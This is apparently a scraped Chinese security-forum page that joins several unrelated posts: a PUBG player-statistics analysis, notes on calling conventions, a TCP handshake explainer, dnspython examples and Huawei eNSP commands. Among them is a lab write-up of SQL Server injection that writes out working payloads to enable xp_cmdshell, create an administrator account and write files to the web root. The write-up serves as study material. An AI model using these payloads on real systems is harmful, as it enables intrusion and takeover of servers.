在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:



KD:8.4
伤害:1099.57



是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:



KD:3.7
伤害:461.18



排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:



Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436



通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。

常见函数调用约定

PWN-类型(多为溢出)snow 发表了文章 • 0 个评论 • 19 次浏览 • 5 天前 • 来自相关话题

函数调用约定:
    函数调用约定,顾名思义,即调用函数的一套约定。主要体现在三个方面:
函数参数的传递方式,比如参数是存放在寄存器中还是栈中。参数的传递顺序,是从右向左传递还是从左向右传递。调用者处理栈环境还是被调用者处理栈环境。
 
cdecl:
    cdecl 是主要在 C 语言中使用的方式,是 x86 的常用调用约定之一。
    参数使用栈进行传递,以逆序方式(及由右向左)压入栈,由调用者使用 add esp,8 命令整理栈,返回值存放在 eax 中。
    cdecl 方式的好处在于,可以向被调用函数传递长度可变的参数,这种长度可变的参数在其他调用约定中很难实现。
 
stdcall:
    stdcall 方式是微软 Win32 API 的标准,也是 x86 的常用调用约定之一。
    stdcall 方式和 cdecl 方式唯一的不同就是 stdcall 方式是被调用者使用 RETN 8 命令整理栈。
    RETN 8 命令含义为 RENTN + POP 8,即返回后使 esp 增加到指定大小。
    C 语言默认调用方式为 cdecl,若想使用 stdcall 方式编译源码,只要使用 _stdcall 关键字即可。
    stdcall 方式的好处在于,与 cdcel 方式相比,代码尺寸要小。
 
fastcall:
    fastcall 方式是 x64 唯一的函数调用方式。
    前两个参数会使用寄存器(ecx,edx)来传递,其余参数使用栈内存传递。逆序传递,由被调用者整理栈。
    fastcall 方式的优势在于可以实现对函数的快读调用(因为从 cpu 的立场来看,访问寄存器的速度要快于内存)。但有时需要额外的系统开销类管理 ECX,EDX 寄存器。比如这两个寄存器在调用函数前存放有重要数据,就需要先进行备份。
 
thiscall:
    thiscall 是 c++ 中非静态类成员函数的默认调用约定。
    网上有几种不同的说法:
     https://bbs.pediy.com/thread-224583.htm
     https://www.cnblogs.com/feng9exe/p/8317160.html
    
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  查看全部
函数调用约定:
    函数调用约定,顾名思义,即调用函数的一套约定。主要体现在三个方面:
  1. 函数参数的传递方式,比如参数是存放在寄存器中还是栈中。
  2. 参数的传递顺序,是从右向左传递还是从左向右传递。
  3. 调用者处理栈环境还是被调用者处理栈环境。

 
cdecl:
    cdecl 是主要在 C 语言中使用的方式,是 x86 的常用调用约定之一。
    参数使用栈进行传递,以逆序方式(及由右向左)压入栈,由调用者使用 add esp,8 命令整理栈,返回值存放在 eax 中。
    cdecl 方式的好处在于,可以向被调用函数传递长度可变的参数,这种长度可变的参数在其他调用约定中很难实现。
 
stdcall:
    stdcall 方式是微软 Win32 API 的标准,也是 x86 的常用调用约定之一。
    stdcall 方式和 cdecl 方式唯一的不同就是 stdcall 方式是被调用者使用 RETN 8 命令整理栈。
    RETN 8 命令含义为 RENTN + POP 8,即返回后使 esp 增加到指定大小。
    C 语言默认调用方式为 cdecl,若想使用 stdcall 方式编译源码,只要使用 _stdcall 关键字即可。
    stdcall 方式的好处在于,与 cdcel 方式相比,代码尺寸要小。
 
fastcall:
    fastcall 方式是 x64 唯一的函数调用方式。
    前两个参数会使用寄存器(ecx,edx)来传递,其余参数使用栈内存传递。逆序传递,由被调用者整理栈。
    fastcall 方式的优势在于可以实现对函数的快读调用(因为从 cpu 的立场来看,访问寄存器的速度要快于内存)。但有时需要额外的系统开销类管理 ECX,EDX 寄存器。比如这两个寄存器在调用函数前存放有重要数据,就需要先进行备份。
 
thiscall:
    thiscall 是 c++ 中非静态类成员函数的默认调用约定。
    网上有几种不同的说法:
     https://bbs.pediy.com/thread-224583.htm
     https://www.cnblogs.com/feng9exe/p/8317160.html
    
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

计算机网络原理三次握手四次挥手详细

编程jizi_smile 发表了文章 • 1 个评论 • 30 次浏览 • 6 天前 • 来自相关话题

TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。
下面是TCP报文格式图:





上图中有几个字段需要重点介绍下:
序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:
URG:紧急指针(urgent pointer)有效。ACK:确认序号有效。PSH:接收方应该尽快将这个报文交给应用层。RST:重置连接。SYN:发起一个新连接。FIN:释放一个连接。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。确认方Ack=发起方Req+1,两端配对而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。


 4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示


 由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。
 
上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:





 
为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
 
 
转自(https://blog.csdn.net/qq_34940959/article/details/78592379) 查看全部
TCP/IP协议在实现端到端的连接的时候用到了三次握手连接,按照一般的想法,连接的建立只需要经过 客户端请求 服务器端指示  服务器端响应  客户端确认 两次握手四个步骤即可建立连接。
然而问题并非如此简单,因为通信子网总不那么理想,不能保证分组及时地传到目的地。假如分组丢失,通常使用超时重传来解决此问题。客户端发出一个连接请求的时候,同时启动一个定时器,一旦定时器超时,客户端再次发送连接请求,并重新启动定时器,直到成功建立连接,或重传次数达到一定值时,认为连接不可建立而放弃。
最难解决的问题是连接根本没有丢失,而是在子网中存储起来,过一段时间又突然出现在服务器端,即所谓的延迟重复问题。延迟重复回导致重复连接和重复处理,这在很多应用系统(如银行系统、订票系统)中是绝对不能出现的。

下面是TCP报文格式图:

包结构.png

上图中有几个字段需要重点介绍下:
  1. 序号:Seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。
  2. 确认序号:Ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,Ack=Seq+1。
  3. 标位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义如下:

  • URG:紧急指针(urgent pointer)有效。
  • ACK:确认序号有效。
  • PSH:接收方应该尽快将这个报文交给应用层。
  • RST:重置连接。
  • SYN:发起一个新连接。
  • FIN:释放一个连接。
需要注意的是:
  • 不要将确认序号Ack与标志位中的ACK搞混了。
  • 确认方Ack=发起方Req+1,两端配对
而三次握手机制就是为了消除重复连接而消除的。三次握手机制首先要求对本次连接的所有报文进行编号,取一个随机值作为初始序号,由于序号域足够长,可以保证序号循环一周时使用同一序号的旧报文早已传输完毕,网络上就不会出现同一连接、同一序号的两个不同报文。[list=1]
  • 第一次握手:Client将标志位SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。
  • 第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。
  • 第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Sever之间就可以开始传数据了。
  • 20171122163321743.png
     4次挥手过程详解 三次握手耳熟能详,四次挥手估计就少有人知道了。所谓四次挥手(Four-Way Wavehand)即终止TCP连接,就是指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。在socket编程中,这一过程由客户端或服务端任一方执行close来触发,整个流程如下图所示
    四次挥手.png
     由于TCP连接时全双工的,因此,每个方向都必须要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的连接,收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,但是在这个TCP连接上仍然能够发送数据,直到这一方向也发送了FIN。首先进行关闭的一方将执行主动关闭,而另一方则执行被动关闭,上图描述的即是如此。​
    • 第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。
    • 第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。
    • 第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。
    • 第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。

     
    上面是一方主动关闭,另一方被动关闭的情况,实际中还会出现同时发起主动关闭的情况,具体流程如下图:

    四次挥手特例.png

     
    为什么建立连接是三次握手,而关闭连接却是四次挥手呢?
    这是因为服务端在LISTEN状态下,收到建立连接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭连接时,当收到对方的FIN报文时,仅仅表示对方不再发送数据了但是还能接收数据,己方也未必全部数据都发送给对方了,所以己方可以立即close,也可以发送一些数据给对方后,再发送FIN报文给对方来表示同意现在关闭连接,因此,己方ACK和FIN一般都会分开发送
     
     
    转自(https://blog.csdn.net/qq_34940959/article/details/78592379

    SQLServer注入中基于xp_cmdshell的命令执行

    Web安全渗透wuyou 发表了文章 • 0 个评论 • 29 次浏览 • 6 天前 • 来自相关话题

    前提:
    getshell或者存在sql注入并且能够执行命令。sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。


    实验环境:
    sql server 2008
    IIS 7.0
    存在注入点的asp的Web页面

    实验过程:
    xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。




    这个就是我们的实验用注入点

    首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
    http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

    查看是否有xp_cmdshell
    http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
    成功延时,接下来开启xp_cmdshell

    允许修改高级参数
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

    打开xp_cmdshell扩展
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
    这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题





    MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
    于是我调整了开启MSSQL服务的账户





    命令执行成功




     
    Web环境测试:
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

    尝试写入文件成功
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

    但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
    但是可以尝试其他思路
    不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

      查看全部
    前提:
    1. getshell或者存在sql注入并且能够执行命令。
    2. sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。



    实验环境:
    sql server 2008
    IIS 7.0
    存在注入点的asp的Web页面

    实验过程:
    xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
    1.png

    这个就是我们的实验用注入点

    首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
    http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

    查看是否有xp_cmdshell
    http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
    成功延时,接下来开启xp_cmdshell

    允许修改高级参数
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

    打开xp_cmdshell扩展
    http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
    这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题
    2.png


    MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
    于是我调整了开启MSSQL服务的账户
    3.png


    命令执行成功
    4.png

     
    Web环境测试:
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

    尝试写入文件成功
    http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

    但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
    但是可以尝试其他思路
    不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

     

    域名解析模块(dnspython)

    Pythonjizi_smile 发表了文章 • 0 个评论 • 25 次浏览 • 6 天前 • 来自相关话题

    一、域名解析模块(dnspython)
    dnspython模块提供了大量的DNS处理方法,最常用的方法是域名查询。dnspython提供了一个DNS解析器类--resolver,使用它的query方法来实现域名的查询功能。query方法的定义如下:
    A记录:将主机名转换成IP地址MX记录:邮件交换记录,定义邮件服务器的域名CNAME记录:指别名记录,实现域名间的映射NS记录:标记区域的域名服务器及授权子域RTP记录:反向解析,与A记录相反,将IP转换成主机名SOA记录:SOA标记,一个起始授权区的定义
    rdclass参数用于指定网络类型,可选的值有IN,CH与HS,其中IN为默认,使用最广泛。TCP参数用于指定查询是否启动TCP协议,默认为False(不启用)。source与source_port参数作为指定查询源地址与端口,默认值为查询设备IP地址和0,raise_on_no_answer参数用于指定当查询无应答是否触发异常,默认为True
      
    二、常见解析类型示例说明常见的DNS解析类型包括A,MX,NS,CHANE等。利用dnspython的dns.resolver.query方法可以简单实现这些DNS类型的查询,为后面要实现的功能提供数据来源,比如对一个使用DNS轮循业务的域名进行可用性监控,需要得到当前的解析结果。
    1. A记录


     #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import dns.resolver

    domain = input("Please input an domain:").strip() # 输入一个域名
    A = dns.resolver.query(domain,'A') # 指定查看类型为A记录
    for i in A.response.answer: # 通过response.answer方法获取查询回应信息
    for j in i.items: # 遍历回应信息
    print(j.address)

    #run
    /usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
    Please input an domain:baidu.com
    220.181.57.216
    123.125.115.110 
     


    2. MX记录


     import dns.resolver
    domain = input("Please input an domain:").strip()
    MX = dns.resolver.query(domain, 'MX') # 指定查看类型为MX

    for i in MX:
    print('MX preference=',i.preference,'mail exchanger=',i.exchange)

    # run
    /usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
    Please input an domain:yeah.net
    MX preference= 10 mail exchanger= yeahmx01.mxmail.netease.com.
    MX preference= 50 mail exchanger= yeahmx00.mxmail.netease.com. 
     


    3. NS记录


     import dns.resolver
    domain = input("Please input an domain:").strip()

    ns = dns.resolver.query(domain,'NS') # 指定查询类型为NS记录

    for i in ns.response.answer:
    for j in i.items:
    print(j.to_text())
    # 只限输入一级域名,如baidu.com.如果输入二级域名或多级域名,如www.baidu.com,则是错误的

    # run

    /usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
    Please input an domain:baidu.com
    ns3.baidu.com.
    ns2.baidu.com.
    ns7.baidu.com.
    dns.baidu.com.
    ns4.baidu.com. 
     


    4. CNAME记录


     import dns.resolver
    domain = input("Please input an domain:").strip()
    cname = dns.resolver.query(domain, 'CNAME') # 指定查询类型为CNAME记录
    for i in cname.response.answer: # 结果将回应cname后的目标域名
    for j in i.items:
    print(j.to_text())

    # run

    结果将返回cname后的目标域名 
     


    转载自(https://www.cnblogs.com/baishuchao/articles/9128953.html) 查看全部
    一、域名解析模块(dnspython)
    dnspython模块提供了大量的DNS处理方法,最常用的方法是域名查询。dnspython提供了一个DNS解析器类--resolver,使用它的query方法来实现域名的查询功能。query方法的定义如下:
    • A记录:将主机名转换成IP地址
    • MX记录:邮件交换记录,定义邮件服务器的域名
    • CNAME记录:指别名记录,实现域名间的映射
    • NS记录:标记区域的域名服务器及授权子域
    • RTP记录:反向解析,与A记录相反,将IP转换成主机名
    • SOA记录:SOA标记,一个起始授权区的定义

    rdclass参数用于指定网络类型,可选的值有IN,CH与HS,其中IN为默认,使用最广泛。TCP参数用于指定查询是否启动TCP协议,默认为False(不启用)。source与source_port参数作为指定查询源地址与端口,默认值为查询设备IP地址和0,raise_on_no_answer参数用于指定当查询无应答是否触发异常,默认为True
      
    二、常见解析类型示例说明常见的DNS解析类型包括A,MX,NS,CHANE等。利用dnspython的dns.resolver.query方法可以简单实现这些DNS类型的查询,为后面要实现的功能提供数据来源,比如对一个使用DNS轮循业务的域名进行可用性监控,需要得到当前的解析结果。
    1. A记录



     
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import dns.resolver

    domain = input("Please input an domain:").strip() # 输入一个域名
    A = dns.resolver.query(domain,'A') # 指定查看类型为A记录
    for i in A.response.answer: # 通过response.answer方法获取查询回应信息
    for j in i.items: # 遍历回应信息
    print(j.address)

    #run
    /usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
    Please input an domain:baidu.com
    220.181.57.216
    123.125.115.110
     
     



    2. MX记录



     
    import dns.resolver
    domain = input("Please input an domain:").strip()
    MX = dns.resolver.query(domain, 'MX') # 指定查看类型为MX

    for i in MX:
    print('MX preference=',i.preference,'mail exchanger=',i.exchange)

    # run
    /usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
    Please input an domain:yeah.net
    MX preference= 10 mail exchanger= yeahmx01.mxmail.netease.com.
    MX preference= 50 mail exchanger= yeahmx00.mxmail.netease.com.
     
     



    3. NS记录



     
    import dns.resolver
    domain = input("Please input an domain:").strip()

    ns = dns.resolver.query(domain,'NS') # 指定查询类型为NS记录

    for i in ns.response.answer:
    for j in i.items:
    print(j.to_text())
    # 只限输入一级域名,如baidu.com.如果输入二级域名或多级域名,如www.baidu.com,则是错误的

    # run

    /usr/local/bin/python3.6 /Users/xcn/PycharmProjects/自动化运维/IPy实用的IP地址处理模块/dns轮循监控.py
    Please input an domain:baidu.com
    ns3.baidu.com.
    ns2.baidu.com.
    ns7.baidu.com.
    dns.baidu.com.
    ns4.baidu.com.
     
     



    4. CNAME记录



     
    import dns.resolver
    domain = input("Please input an domain:").strip()
    cname = dns.resolver.query(domain, 'CNAME') # 指定查询类型为CNAME记录
    for i in cname.response.answer: # 结果将回应cname后的目标域名
    for j in i.items:
    print(j.to_text())

    # run

    结果将返回cname后的目标域名
     
     



    转载自(https://www.cnblogs.com/baishuchao/articles/9128953.html)

    华为模拟器eNSP基本命令

    编程cat 发表了文章 • 0 个评论 • 26 次浏览 • 2019-04-12 16:23 • 来自相关话题

     一、基本命令
    system-view    进入系统视图,默认为用户视图,命令简写 syssysname    修改名称ctrl + z     快速退出到用户模式quit    退出当前设置save    保存配置信息display ip routing-table    查看路由表interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1命令+ ?    查看帮助命令Tab键   补全命令二、二层交换机命令display vlan  查看整个vlan接口情况vlan 2   划分单个vlanvlan batch 2 3 划分多个vlanport link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:


    三、路由命令ip address 1.1.1.1 24    设置某个接口的ipdisplay ip interface brief    查看所有的接口与ip的相关信息ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1
     
     
    如果有需要补充,请在下面留言 查看全部
     一、基本命令
    • system-view    进入系统视图,默认为用户视图,命令简写 sys
    • sysname    修改名称
    • ctrl + z     快速退出到用户模式
    • quit    退出当前设置
    • save    保存配置信息
    • display ip routing-table    查看路由表
    • interface GigabitEthernet 0/0/1(接口) 进入接口(GigabitEthernet 和 g 都代表 吉比特以太网,=14pt命令简写 int g0/0/1
    • 命令+ ?    查看帮助命令
    • Tab键   补全命令
    二、二层交换机命令
    • display vlan  查看整个vlan接口情况
    • vlan 2   划分单个vlan
    • vlan batch 2 3 划分多个vlan
    • port link-type access    设置链路类型,需要先进入接口,下图为所有的链路类型:
      20171116093630265.png
    三、路由命令
    • ip address 1.1.1.1 24    设置某个接口的ip
    • display ip interface brief    查看所有的接口与ip的相关信息
    • ip route-static 192.168.2.10 24 1.1.1.1    静态设置路由发包到192.168.2.10的下一跳为1.1.1.1

     
     
    如果有需要补充,请在下面留言

    seacms v6.28 search.php 存在任意代码执行漏洞

    渗透测试zksmile 发表了文章 • 1 个评论 • 41 次浏览 • 2019-04-09 09:36 • 来自相关话题

    http://0day5.com/archives/4180/
     
    漏洞环境:
    docker pull zksmile/vul:seacmsv6.26漏洞分析:
    漏洞文件:seacms/search.php:
    function echoSearchPage()
    {
